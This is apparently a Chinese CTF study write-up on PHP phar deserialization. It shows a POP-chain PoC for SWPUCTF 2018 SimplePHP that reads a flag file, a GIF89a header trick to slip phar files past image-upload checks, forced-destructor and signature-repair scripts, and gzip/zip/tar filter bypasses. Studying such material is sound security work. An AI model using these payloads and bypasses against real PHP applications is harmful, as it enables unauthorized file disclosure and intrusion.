- 前面的报告中提到了phar反序列化,但是只是写了利用方式,这里将拓展phar的基础原理和强制GC,数据污染,绕过过滤
PHAR基础
- phar类似于压缩包,在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
- phar的内容由4部分组成
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化
的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
- 例如,以下代码创建了一个phar对象并生成了一个phar文件
$phar = new Phar("test3.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($c1e4r);//将自定义的meta-data存入manifest
$phar->addFromString("zz.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
- 可以看到,压缩文件的内容是zz.txt,test用来生成phar文件的签名,而生成的二进制文件的文件头就是我们设置的stub
- 所以如果文件上传时检测了文件头,也可以
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
- phar反序列化的产生在于$phar->setMetadata($c1e4r),用户将自己构造的数据写入了phar文件的Meta-data,而这部分数据会在phar文件被某些函数处理时会自动反序列化,下面是危险函数列表
- 这类题目一般会提供一个文件上传的环境,来上传phar文件,同时对phar文件的危险函数处理则可能提供文件包含函数来执行危险函数,此时可以手搓phar协议以及相关绕过(前面已经提到了),或者题目会使用危险函数自动处理phar文件
- 同时phar文件并不依赖后缀名
[SWPUCTF 2018]SimplePHP
- 用本题来实操一下,之前buu刷题3的报告里面已经写了全步骤,这里直接跳到phar这个地方
alert("上传成功!");';
}
function upload_file()
{
global $_FILES;
if (upload_file_check()) {
upload_file_do();
}
}
function upload_file_check()
{
global $_FILES;
$allowed_types = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (empty($extension)) {
//echo "请选择上传的文件:" . "";
} else {
if (in_array($extension, $allowed_types)) {
return true;
} else {
echo '';
return false;
}
}
}
-
文件上传的php限制了只能上传图片类的文件,并且文件名会被修改成jpg后缀,但上面提到这并不影响phar的meta-data的反序列化,所以生成phar文件后修改成jpg后缀即可
-
同时题目提供了file参数来进行文件包含
-
原pop链为
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
- 加上生成phar的poc
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("test3.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($c1e4r);//将自定义的meta-data存入manifest
$phar->addFromString("zz.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
?>
- 生成的phar文件后缀改成jpg文件,上传后到upload文件夹看看有没有成功
- ?file=phar://upload/文件名即可
PHAR进阶
gc回收与利用
- 在反序列化的应用中,php中一个类的实例消失或者该实例的命名空间指向了另一个类,就会销毁这个类的实例从而触发destruct方法,举个例子
<?php
class show{
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."Destroy...\n"; }
}
new show('1');
$a = new show('2');
$a = new show('3');
echo "————————————\n";
1Destroy...
2Destroy...
————————————
3Destroy...
-
1因为没有实例被马上销毁了,3的实例占了2的实例的命名空间,2被销毁了,然后触发echo,最后程序结束,3也被销毁
-
那么就可以利用数组强制执行某个类的destruct,将数组的第一个元素作为类的实例化,再将数组的值赋为null即可
- 只需要修改phar文件的明文a:2:{i:0;O:7:"getflag":{}i:0;N;}就可以确保触发getflag类的destract方法
- 修改之后要修复phar文件的签名,不然这个文件是不能用的,下面将提到如何修复签名
phar签名修复
- 对phar文件的内容篡改后,这个文件的内容与签名不匹配会导致这个文件不起作用
- 下面是完整的16进制信息
- 这个部分是结尾的GBMB,属于固定格式
- 这个部分是显示的摘要算法,02000000是sha1算法
- 大部分的教程都是用test字符串生成的签名,test对应74657374
- 后面的部分就是文件的sha1值了,要修复的就是这个部分,对应16进制的倒数28位至倒数8位,下面贴一个脚本自动修复sha1的,其他摘要算法还得现查
import hashlib
with open('phar.phar', 'rb') as f:
content = f.read()
text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()
with open('phar_new.phar', 'wb+') as f:
f.write(text + sig + end)
- 还有另一种利用linux下tar命令处理phar文件的办法,这种情况下phar文件将不会带有签名,不存在修复的问题,下面的脏数据处理会提到
正则绕过
- phar的内容是明文,可以被过滤,比如题目干脆直接过滤了老文件头\<?php __HALT_COMPILER(); ?>
- 有5种使用phar文件的方法
gzip
- 将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用)
linux下使用命令gzip phar.phar 生成
zip
- 不过这种方法在底层对文件内容有限制,还是少用
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
脏数据绕过
-
phar文件自身就可以绕过前面的已知脏数据
-
比如前面提到的强制gc就向phar文件中塞入了脏数据,导致phar文件无法解析,只需要改文件签名就可以了
-
同时将phar文件转换成以下格式就可以绕过后面的脏数据
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip
- 只需要在这里插入即可
$phar = new Phar("miao.phar");//后缀名必须为phar
/********
在这里插入$phar = $phar->convertToExecutable(Phar::TAR);
********/
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("zz.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
- 没找到环境,暂时不测试了,最好用tar,网上说zip可以处理文件头,但是不能绕过脏数据